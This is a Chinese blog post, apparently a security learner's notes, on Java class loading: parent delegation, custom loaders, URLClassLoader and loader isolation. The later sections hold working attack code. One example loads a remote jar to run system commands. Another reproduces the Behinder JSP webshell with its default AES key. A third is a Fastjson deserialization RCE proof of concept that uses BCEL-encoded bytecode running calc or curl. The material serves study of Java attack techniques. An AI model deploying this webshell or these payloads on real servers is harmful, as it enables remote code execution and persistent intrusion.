Java类加载机制

理解Java类加载机制并非易事,这里我们以一个Java的HelloWorld来学习ClassLoader

ClassLoader加载com.anbai.sec.classloader.TestHelloWorldloadClass重要流程如下:

  1. ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
  2. 调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
  3. 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
  4. 如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
  5. 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
  6. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
  7. 返回一个被JVM加载后的java.lang.Class类对象。
protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            //类加载缓存,寻找以前有没有加载过
            Class<?> c = findLoadedClass(name);
           //双亲委托
            if (c == null) {
                long t0 = System.nanoTime();
                try {
           //父类不为空,用父类
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }
                //没父类find class

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

注:由于多次经过,所以断点会第一次这样

类最终经过

无论是你主动调用的,还是JVM自己内部需要的——都会经过这里一次。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

既然已知ClassLoader具备了加载类的能力,那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld类为例)并调用hello方法。

如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出:

TestHelloWorld t = new TestHelloWorld();
        String str = t.hello();
        System.out.println(str);

但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

例子

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

/**
 * Creator: yz
 * Date: 2019/12/17
 */
public class TestClassLoader extends ClassLoader {

	// TestHelloWorld类名
	public static String TEST_CLASS_NAME = "com.anbai.sec.classloader.TestHelloWorld";

	// TestHelloWorld类字节码
	public static byte[] TEST_CLASS_BYTES = new byte[]{
			-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
			16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
			101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
			1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
			97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
			101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
			114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
			32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
			115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
			116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
			97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
			0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
			1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
			0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
			0, 0, 0, 2, 0, 12};

	@Override
	public Class<?> findClass(String name) throws ClassNotFoundException {
		// 只处理TestHelloWorld类
		if (name.equals(TEST_CLASS_NAME)) {
			// 调用JVM的native方法定义TestHelloWorld类
			return defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
		}

		return super.findClass(name);
	}

	/**
	 * 使用自定义类加载器加载TestHelloWorld类字节码并调用hello方法示例,等价于如下代码:
	 * <p>
	 *
	 * </p>
	 *
	 * @param args
	 */
	public static void main(String[] args) {
		// 创建自定义的类加载器
		TestClassLoader loader = new TestClassLoader();

		try {
			// 使用自定义的类加载器加载TestHelloWorld类
			Class testClass = loader.loadClass(TEST_CLASS_NAME);

			// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
			Object testInstance = testClass.newInstance();

			// 反射获取hello方法
			Method method = testInstance.getClass().getMethod("hello");

			// 反射调用hello方法,等价于 String str = t.hello();
			String str = (String) method.invoke(testInstance);

			System.out.println(str);
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

}

大概流程图

native方法定义一个java.lang.Class实例

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

URLClassLoader

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

TestURLClassLoader.java示例:

package com.anbai.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("https://anbai.io/tools/cmd.jar");

            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定义需要执行的系统命令
            String cmd = "ls";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
URLClassLoader ucl = new URLClassLoader(new URL[]{url});

浅浅看一下

super继承关系

public URLClassLoader(URL[] urls) {
        super();
        // this is to make the stack depth consistent with 1.1
        // 获取JVM的安全管理器( SecurityManager ),它负责检查代码的权限(比如创建类加载器、访问文件、网络连接等)
        SecurityManager security = System.getSecurityManager();
//如果安全管理器存在(比如在安全沙箱环境中),就调用 checkCreateClassLoader() 方法,检查当前代码是否有创建类加载器的权限。
        //如果没有权限,会抛出 SecurityException ,阻止类加载器的创建。
        if (security != null) {
            security.checkCreateClassLoader();
        }
//获取当前线程的访问控制上下文( AccessControlContext ),它记录了当前代码的权限信息,后续类加载时会用它来验证权限
        this.acc = AccessController.getContext();
//创建 URLClassPath 实例,它是 URLClassLoader 的核心组件,负责管理传入的 urls 数组,后续类加载时会从这些URL中查找类文件( .class )和资源文件。
        ucp = new URLClassPath(urls, acc);
    }

security.checkCreateClassLoader() 的权限校验是条件执行的:只有当系统安全管理器(SecurityManager)被启用(即 security != null )时,才会执行创建类加载器的权限检查;若 security = null (系统未启用安全管理器),则直接跳过该校验步骤,继续执行后续的初始化逻辑。

protected SecureClassLoader() {
        super();
        // this is to make the stack depth consistent with 1.1
        SecurityManager security = System.getSecurityManager();
        if (security != null) {
            security.checkCreateClassLoader();
        }
        initialized = true;
    }
protected ClassLoader() {
        this(checkCreateClassLoader(), getSystemClassLoader());
    }

//重点代码
ucp = new URLClassPath(urls, acc);
public URLClassPath(URL[] urls,
                        URLStreamHandlerFactory factory,
                        AccessControlContext acc) {
        for (int i = 0; i < urls.length; i++) {
//添加url进数组
            path.add(urls[i]);
        }
        push(urls);
        if (factory != null) {
            jarHandler = factory.createURLStreamHandler("jar");
        }
        if (DISABLE_ACC_CHECKING)
            this.acc = null;
        else
            this.acc = acc;
    }
public class DirContextURLStreamHandlerFactory implements URLStreamHandlerFactory {
    public URLStreamHandler createURLStreamHandler(String protocol) {
        return protocol.equals("jndi") ? new DirContextURLStreamHandler() : null;
    }

类加载隔离

创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两者必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

img

字面意思,同名同样的加载器,有隔离

跨类加载器加载

RASP和IAST经常会用到跨类加载器加载类的情况,因为RASP/IAST会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射

示例 - 跨类加载器加载:

package com.anbai.sec.classloader;

import java.lang.reflect.Method;

import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;

public class TestCrossClassLoader {

    public static class ClassLoaderA extends ClassLoader {

        public ClassLoaderA(ClassLoader parent) {
            super(parent);
        }

        {
            // 加载类字节码
            defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
        }

    }

    public static class ClassLoaderB extends ClassLoader {

        public ClassLoaderB(ClassLoader parent) {
            super(parent);
        }

        {
            // 加载类字节码
            defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
        }

    }

    public static void main(String[] args) throws Exception {
        // 父类加载器
        ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();

        // A类加载器
        ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);

        // B类加载器
        ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);

        // 使用A/B类加载器加载同一个类
        Class<?> aClass  = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
        Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
        Class<?> bClass  = Class.forName(TEST_CLASS_NAME, true, bClassLoader);

        // 比较A类加载和B类加载器加载的类是否相等
        System.out.println("aClass == aaClass:" + (aClass == aaClass));
        System.out.println("aClass == bClass:" + (aClass == bClass));

        System.out.println("\n" + aClass.getName() + "方法清单:");

        // 获取该类所有方法
        Method[] methods = aClass.getDeclaredMethods();

        for (Method method : methods) {
            System.out.println(method);
        }

        // 创建类实例
        Object instanceA = aClass.newInstance();

        // 获取hello方法
        Method helloMethod = aClass.getMethod("hello");

        // 调用hello方法
        String result = (String) helloMethod.invoke(instanceA);

        System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result);
    }

}

这里遇到的问题还是初始化的问题,二次传入

这个hello是方法名,在地址中获取方法。

JSP自定义类加载后门

冰蝎为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击,其中equals方法传入的pageContext对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。

示例 - 冰蝎JSP后门:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {

        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
//defineClass下的native负责把字节码加载进虚拟机
            return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//它直接调用 defineClass,把字节数组转换成 Class 对象。
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

这玩意儿不是完整版的,后续还得传参

示例 - 冰蝎命令执行类反编译:

BCEL ClassLoader

BCELApache Commons BCEL™)是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。

BCEL攻击原理

当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass加载一个类名中带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

示例 - BCEL类名解码:

BCEL编解码

BCEL编码:

private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}];

// BCEL编码类字节码
        String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true);

编码后的类名:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$dbn$d......,BCEL会对类字节码进行编码

BCEL解码:

int    index    = className.indexOf("$$BCEL$$");
        String realName = className.substring(index + 8);

// BCEL解码类字节码
        byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);

如果被加载的类名中包含了$$BCEL$$关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类。

BCEL兼容性问题

BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了,如下:

/**
 * @param bytes the raw bytes of this Utf-8
 * @deprecated (since 6.0)
 */
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
        throw new UnsupportedOperationException();
        }

Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7JDK8 - JDK8u241JDK9

代码

package com.anbai.sec.classloader;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
import org.apache.commons.dbcp.BasicDataSource;
import org.javaweb.utils.FileUtils;

import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;

public class BCELClassLoader {

	/**
	 * com.anbai.sec.classloader.TestBCELClass类字节码,Windows和MacOS弹计算器,Linux执行curl localhost:9999
	 * <pre>
	 * package com.anbai.sec.classloader;
	 *
	 * import java.io.IOException;
	 *
	 * public class TestBCELClass {
	 *
	 * 	static {
	 * 		String command = "open -a Calculator.app";
	 * 		String osName  = System.getProperty("os.name");
	 *
	 * 		if (osName.startsWith("Windows")) {
	 * 			command = "calc 12345678901234567";
	 *      } else if (osName.startsWith("Linux")) {
	 * 			command = "curl localhost:9999/";
	 *       }
	 *
	 * 		try {
	 * 			Runtime.getRuntime().exec(command);
	 *      } catch (IOException e) {
	 * 			e.printStackTrace();
	 *      }
	 *   }
	 * }
	 * </pre>
	 */
	private static final byte[] CLASS_BYTES = new byte[]{
			-54, -2, -70, -66, 0, 0, 0, 50, 0, 56, 10, 0, 15, 0, 26, 8, 0, 27, 8, 0, 28, 10, 0, 29, 0, 30, 8, 0, 31,
			10, 0, 32, 0, 33, 8, 0, 34, 8, 0, 35, 8, 0, 36, 10, 0, 37, 0, 38, 10, 0, 37, 0, 39, 7, 0, 40, 10, 0, 12,
			0, 41, 7, 0, 42, 7, 0, 43, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111,
			100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 8, 60, 99,
			108, 105, 110, 105, 116, 62, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 44,
			7, 0, 40, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 18, 84, 101, 115, 116, 66, 67,
			69, 76, 67, 108, 97, 115, 115, 46, 106, 97, 118, 97, 12, 0, 16, 0, 17, 1, 0, 22, 111, 112, 101, 110, 32,
			45, 97, 32, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 1, 0, 7, 111, 115, 46, 110,
			97, 109, 101, 7, 0, 45, 12, 0, 46, 0, 47, 1, 0, 7, 87, 105, 110, 100, 111, 119, 115, 7, 0, 44, 12, 0, 48,
			0, 49, 1, 0, 22, 99, 97, 108, 99, 32, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 49, 50, 51, 52, 53, 54, 55,
			1, 0, 5, 76, 105, 110, 117, 120, 1, 0, 20, 99, 117, 114, 108, 32, 108, 111, 99, 97, 108, 104, 111, 115,
			116, 58, 57, 57, 57, 57, 47, 7, 0, 50, 12, 0, 51, 0, 52, 12, 0, 53, 0, 54, 1, 0, 19, 106, 97, 118, 97, 47,
			105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 55, 0, 17, 1, 0, 39, 99, 111, 109,
			47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47,
			84, 101, 115, 116, 66, 67, 69, 76, 67, 108, 97, 115, 115, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110,
			103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114,
			105, 110, 103, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0,
			11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
			110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
			116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76,
			106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97,
			118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117,
			110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110,
			116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110,
			103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114,
			111, 99, 101, 115, 115, 59, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101,
			0, 33, 0, 14, 0, 15, 0, 0, 0, 0, 0, 2, 0, 1, 0, 16, 0, 17, 0, 1, 0, 18, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0,
			5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 19, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 8, 0, 20, 0, 17, 0, 1, 0, 18,
			0, 0, 0, -106, 0, 2, 0, 3, 0, 0, 0, 53, 18, 2, 75, 18, 3, -72, 0, 4, 76, 43, 18, 5, -74, 0, 6, -103, 0,
			9, 18, 7, 75, -89, 0, 15, 43, 18, 8, -74, 0, 6, -103, 0, 6, 18, 9, 75, -72, 0, 10, 42, -74, 0, 11, 87,
			-89, 0, 8, 77, 44, -74, 0, 13, -79, 0, 1, 0, 36, 0, 44, 0, 47, 0, 12, 0, 2, 0, 19, 0, 0, 0, 46, 0, 11,
			0, 0, 0, 8, 0, 3, 0, 9, 0, 9, 0, 11, 0, 18, 0, 12, 0, 24, 0, 13, 0, 33, 0, 14, 0, 36, 0, 18, 0, 44, 0,
			21, 0, 47, 0, 19, 0, 48, 0, 20, 0, 52, 0, 22, 0, 21, 0, 0, 0, 19, 0, 4, -3, 0, 24, 7, 0, 22, 7, 0, 22,
			11, 74, 7, 0, 23, -7, 0, 4, 0, 1, 0, 24, 0, 0, 0, 2, 0, 25
	};

	/**
	 * 将一个Class文件编码成BCEL类
	 *
	 * @param classFile Class文件路径
	 * @return 编码后的BCEL类
	 * @throws IOException 文件读取异常
	 */
	public static String bcelEncode(File classFile) throws IOException {
		return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);
	}

	/**
	 * BCEL命令执行示例,测试时请注意兼容性问题:① 适用于BCEL 6.0以下。② JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9
	 *
	 * @throws Exception 类加载异常
	 */
	public static void bcelTest() throws Exception {
		// 使用反射是为了防止高版本JDK不存在com.sun.org.apache.bcel.internal.util.ClassLoader类
//		Class<?> bcelClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");

		// 创建BCEL类加载器
//			ClassLoader classLoader = (ClassLoader) bcelClass.newInstance();
//			ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
		ClassLoader classLoader = new org.apache.bcel.util.ClassLoader();

		// BCEL编码类字节码
		String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);

		System.out.println(className);

		Class<?> clazz = Class.forName(className, true, classLoader);

		System.out.println(clazz);
	}

	/**
	 * Fastjson 1.1.15 - 1.2.4反序列化RCE示例,示例程序考虑到测试环境的兼容性,采用的都是Apache commons dbcp和bcel
	 *
	 * @throws IOException BCEL编码异常
	 */
	public static void fastjsonRCE() throws IOException {
		// BCEL编码类字节码,encode
		String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);

		// 构建恶意的JSON
		Map<String, Object> dataMap        = new LinkedHashMap<String, Object>();
		Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();

		dataMap.put("@type", BasicDataSource.class.getName());
		dataMap.put("driverClassName", className);

		classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
		dataMap.put("driverClassLoader", classLoaderMap);

		String json = JSON.toJSONString(dataMap);
		System.out.println(json);

		JSONObject jsonObject = JSON.parseObject(json);
		System.out.println(jsonObject);
	}

	public static void main(String[] args) throws Exception {
//		bcelTest();
		fastjsonRCE();
	}

}

调试

 protected JavaClass createClass(String class_name) {
        int index = class_name.indexOf("$$BCEL$$");
        String real_name = class_name.substring(index + 8);
        JavaClass clazz = null;

        try {
            byte[] bytes = Utility.decode(real_name, true);
            ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
            clazz = parser.parse();
        } catch (Throwable e) {
            e.printStackTrace();
            return null;
        }

        ConstantPool cp = clazz.getConstantPool();
        ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(), (byte)7);
        ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(), (byte)1);
        name.setBytes(class_name.replace('.', '/'));
        return clazz;
    }
}

   自己调试一直找不到链在哪里,问ai才知道解析json的时候出了问题。

JSONObject jsonObject = JSON.parseObject(json);

链太多,追的头皮发麻,先知道步出后

原文

https://www.javasec.org/javase/ClassLoader/

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐